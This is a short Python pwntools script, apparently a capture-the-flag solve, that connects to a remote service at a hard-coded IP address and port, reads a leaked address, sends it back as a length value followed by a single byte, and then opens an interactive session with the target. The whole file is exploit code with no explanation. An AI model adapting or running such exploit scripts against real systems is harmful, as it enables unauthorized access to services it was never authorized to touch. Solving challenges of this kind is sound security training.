from pwn import remote 

with remote('94.237.63.165', '33182') as p:
    p.recvuntil(b': ')
    address = p.recvuntil(b': ')[:14]
    len = int(address.decode(), 0)
    p.recvuntil(b': ')
    p.sendline(f'{len}')
    p.recvuntil(b': ')
    p.sendline(b'A')
    p.interactive()